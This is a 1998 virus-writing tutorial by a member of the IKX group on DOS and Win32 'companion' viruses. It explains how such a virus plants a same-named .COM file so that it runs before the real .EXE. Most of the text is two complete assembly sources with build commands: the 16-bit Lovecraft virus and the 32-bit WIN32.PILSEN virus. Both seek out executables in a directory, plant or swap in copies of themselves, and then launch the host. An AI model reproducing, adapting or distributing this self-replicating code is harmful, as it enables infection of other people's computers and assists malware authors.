Companion Viruses for 16 and 32 bits
Written by Int13h/IKX

INTRODUCTION

Well. It is lame but someone has to do it. This is a semi-tutorial about companion viruses. 16 and 32 bits companion viruses as you can read in the title. Companion viruses are clasically written in high level languages. Usually C or Pascal, because is harder to write decent viruses in HLLs. But, lets remember Sentinel, a bulgarian virus written by Lubo and Ian in Turbo Pascal, it is a TSR parasi- tary and stealth. Is easy to write a companion virus in assembler. The way of acting is the following. If we have an EXE file and a COM with the same name (test.com and test.exe) and in the command line we type:

> C:\>TEST

DOS will execute the program TEST.COM, that is, DOS gives priority to COM files. Companion viruses uses this advantage. This kind of self-replicable code looks for an EXE file, creates a file with the same name but with COM extension (with hidden attribute), then writes the viral code to the created COM program. Then, when the user types

> C:\>TEST

the COM will be executed (that is, the virus), the virus will infect other EXEs in the directory and when work is finished he will run the real hoste, that is the program in currently execution but with extension mutated to EXE.

COMPANION in 16 bits

Under DOS we will use functions 4eh/4fh to get the name of EXE files in the current directory. And the function 4bh to execute the original wanted program, that is, our hoste. You must free some memory before calling 4Bh, so pay atention where you put your SP. Following these bytes its going a ultra-simple and lame companion virus:

>     8<- - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - ->8
>     ;
>     ; Lovecraft Virus by Int13h/IKX - A simple 16 bits companion virus.
>     ;
>     ;                       tasm lovecraf /m2
>     ;                       tlink /t lovecraf
>     ;

>     .model tiny
>     .code
>     org 0100h

>     Size = (offset FinVirus-offset Lovecraft)

>     Lovecraft:
>             mov     dx,60000d                       ; Realocate DTA
>             mov     ah,01ah                         ; to heap
>             int     21h

>             mov     ah,04eh
>             sub     cx,cx
>             mov     dx,offset Victims               ; Look 4 *.EXE
>             int     21h
>             jnc     Create_File

>     Restore:mov     ah,01ah
>             mov     dx,080h                         ; Realocate DTA to its
>             int     21h                             ; original place

>             mov     ax,word ptr ds:[02ch]           ; Fill the table that the 4bh
>             mov     word ptr [SegmentPSP],ax        ; function will use to execute
>             mov     word ptr [SegmentLinea],cs      ; the original hoste
>             mov     word ptr [SegmentFCB1],cs
>             mov     word ptr [SegmentFCB2],cs

>             mov     es,word ptr ds:[02ch]           ; Environment segment
>             mov     di,1
>             xor     ax,ax                           ; AX=0000
>     Buscar_cero:
>             dec     di
>             scasw                                   ; Look 4 the doble-zero
>             jnz     Buscar_cero

>             inc     di                              ; This is to point to the
>             inc     di                              ; beginning of the filename

>             push    es
>             pop     ds                              ; DS=ES
>             push    cs
>             pop     es                              ; ES=CS
>             mov     si,di                           ; Copy name of the file
>             mov     di,offset FiletoRUN             ; in our buffer
>             mov     cx,128d
>             rep     movsb
>             push    cs cs
>             pop     ds es                          ; CS=DS=ES

>             mov     di,offset FiletoRUN            ; Change extension
>             xor     al,al                          ; Look for the 0 of the ASCIIZ
>             mov     cx,125d
>             repne   scasb

>             mov     word ptr [di-4],'XE'           ; Put EXE extension
>             mov     byte ptr [di-2],'E'

>             cli
>             mov     sp,700d                        ; This is important! Move in
>             sti                                    ; a safe place our stack pointer

>             mov     ah,04ah                        ; Free memory not used by the
>             mov     bx,030h                        ; virus, with 30h paragraphes
>             int     21h                            ; is more than enough

>             mov     ax,04b00h                      ; Execute program
>             mov     dx,offset FiletoRUN            ; Name of the file
>             mov     bx,offset SegmentPSP           ; 4B table
>             int     21h

>             mov     ah,04ch                        ; Exit to OS
>             int     21h                            ; AL have exit code

>     Create_File:
>             mov     di,60000d+01eh                 ; Point to file name
>             mov     cx,9
>             mov     al,'.'                         ; Look 4 the .
>             repne   scasb

>             mov     word ptr [di],'OC'             ; Put COM extension
>             mov     byte ptr [di+2],'M'

>             mov     dx,60000d+01eh                 ; Create the file with
>             mov     ah,03ch                        ; changed extension
>             mov     cx,023h                        ; Read only+hidden attributes
>             int     21h
>             jc      NextOne                      ; File already exist (infected)
>             xchg    bx,ax                          ; Move handle in BX

>             mov     ah,40h                         ; Write virus in the created
>             mov     cx,Size                        ; file
>             mov     dx,100h
>             int     21h

>     NextOne:mov     ah,03eh                        ; Close
>             int     21h
>             mov     ah,04fh                        ; Find next victim
>             int     21h
>             jnc     Create_File
>             jmp     Restore                        ; Return control

>     Bicho db 'Lovecraft by Inty - Paraguay'        ; Howard Phillips Lovecraft

>     Victims         db '*.exe',0
>     SegmentPSP      dw 0                           ; In a COM always CS=DS=ES=SS
>                     dw 080h                        ; Command line, offs 80 of PSP
>     SegmentLinea    dw 0                           ; Command line segment
>                     dw 005ch                       ; FCB#1 in the PSP
>     SegmentFCB1     dw 0                           ; FCB#1 segment
>                     dw 006ch                       ; FCB#2 in the PSP
>     SegmentFCB2     dw 0                           ; FCB#2 segment

>     FinVirus label byte
>     FiletoRUN label byte                           ; Use the heap
>     End Lovecraft
>     8<- - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - ->8

COMPANION in 32 bits

Under Win32 we will use the following APIs to do our work:

         FindFirstFileA, FindNextFileA, MoveFileA, CopyFileA,
         GetCommandLineA, CreateProcessA, lstrcpyA

It is really easy. You can get the name of the file which is currently running by calling the GetCommandLineA API. The name of the program that is taking control now is the first argument in the command line, but it is like this:

>     "program.exe" /D: /PARAMETERS /ETC

Why this? Lets quote to my friend Murkry:

          " What does this mean to us virii/hackers of win95?
            lets say we want to write a virus that adds info
            to the end of the host but does not modify the host
            PE header so while the info is there it is not loaded
            into memory. (A new LE/Macro infector works like this).
            Step one, we need the file name. Well check out the
            code below which will show a MessageBox with the file
            name in quotes when ran normaly, but will show the file
            name without quotes if in TD32 and I assume other debuggers
            (probaly not SI though). Be warn about this feature since this
            means if you are running a debugger to test, it will work
            differently, ie if you used this pointer to try and open the
            file it will fail since file "c:\filepath\foo.exe" is the
            file you will try to open not c:\filepath\foo.exe. "

                                            Murkry/IKX - File Xine-3.100

I think that is the only tricky thing, just check the code bellow to see an example companion virus.

>     8<- - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - ->8
>     ;
>     ; WIN32.PILSEN Virus by Int13h/IKX - A simple 32 bits companion virus.
>     ;
>     ;                tasm32 /ml /m3 %1,,;
>     ;                tlink32 /Tpe /aa /c  /v %1,,, import32.lib,
>     ;

>     .386
>     .model flat
>     locals

>             extrn   FindFirstFileA:PROC
>             extrn   FindNextFileA:PROC
>             extrn   MoveFileA:PROC
>             extrn   CopyFileA:PROC
>             extrn   GetCommandLineA:PROC
>             extrn   CreateProcessA:PROC
>             extrn   lstrcpyA:PROC
>             extrn   MessageBoxA:PROC
>             extrn   ExitProcess:PROC

>     .DATA
>     ; Esto va para t¡ Jorge, borrach¡n! :)
>     TituloVentana   db 'WIN32.PILSEN VIRUS by Int13h/IKX',0
>     TextoVentana    db 'MaDe iN PaRaGuAy',0
>     Victims         db '*.EXE',0
>     SearcHandle     dd 0
>     ProcessInfo     dd 4 dup (0)
>     StartupInfo     dd 4 dup (0)

>     Win32FindData   dd 0,0,0,0,0,0,0,0,0,0,0
>     Hallado         db 200 dup (0)
>     Crear           db 200 dup (0)
>     ToRUN           db 200 dup (0)

>     .CODE

>     INICIO: call    GetCommandLineA                 ; Get command line, where is the
>             push    eax                             ; name of the file that is running
>             mov     eax,offset ToRUN                ; Copy it in our buffer
>             push    eax
>             call    lstrcpyA

>             mov     edi,eax
>     Buscar: cmp     byte ptr [edi],'.'              ; Find the point
>             jz      ElPunto
>             inc     edi
>             jmp     Buscar
>     ElPunto:mov     esi,edi                         ; Memorize position
>             inc     esi
>             add     edi,4                           ; Point...
>             mov     byte ptr [edi],00               ; Add 0, to kill CmdLine

>             mov     eax,offset Win32FindData
>             push    eax
>             mov     eax,offset Victims
>             push    eax
>             call    FindFirstFileA                  ; Look for *.EXE
>             mov     dword ptr [SearcHandle],eax
>     Ciclo:  cmp     eax,-1                          ; Grrrr! Error
>             je      Errare
>             or      eax,eax
>             jz      Exiting                         ; Execute original hoste

>             mov     eax,offset Hallado              ; Copy Hallado in Crear
>             push    eax
>             mov     eax,offset Crear
>             push    eax
>             call    lstrcpyA

>             mov     edi,offset Crear
>     StillLooking:
>             cmp     byte ptr [edi],'.'              ; Localize the period
>             jz      PeriodFound
>             inc     edi
>             jmp     StillLooking
>     PeriodFound:
>             inc     edi
>             mov     dword ptr [edi],0004d4f43h      ; Put COM extension

>             mov     eax,offset Crear
>             push    eax
>             mov     eax,offset Hallado              ; Rename to COM
>             push    eax
>             call    MoveFileA

>             sub     eax,eax                         ; Flag
>             push    eax
>             mov     eax,offset Hallado              ; Copy the file with the
>             push    eax                             ; name of the found file
>             mov     eax,offset ToRUN+1
>             push    eax
>             call    CopyFileA

>             mov     eax,offset Win32FindData
>             push    eax
>             push    dword ptr [SearcHandle]         ; Look for another file
>             call    FindNextFileA
>             jmp     Ciclo

>     Errare: mov     eax,1
>             push    eax
>             mov     eax,offset TituloVentana        ; Print copyright
>             push    eax
>             mov     eax,offset TextoVentana
>             push    eax
>             xor     eax,eax
>             push    eax
>     	call	MessageBoxA

>     Exiting:mov     eax,offset ProcessInfo
>             push    eax
>             mov     eax,offset StartupInfo
>             push    eax
>             xor     eax,eax
>             push    eax
>             push    eax
>             push    00000010h                       ; Run hoste
>             push    eax
>             push    eax
>             push    eax
>             call    GetCommandLineA
>             inc     eax
>             push    eax
>     Done:   mov     dword ptr [esi],0004d4f43h      ; COM extension
>             mov     eax,offset ToRUN+1
>             push    eax
>             call    CreateProcessA
>             push    0
>             call    ExitProcess

>     Ends
>     End INICIO
>     8<- - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - ->8

FINAL WORD PTR

This was all. If you have some comments you know where I am :)

Paraguay, October 25, 1998.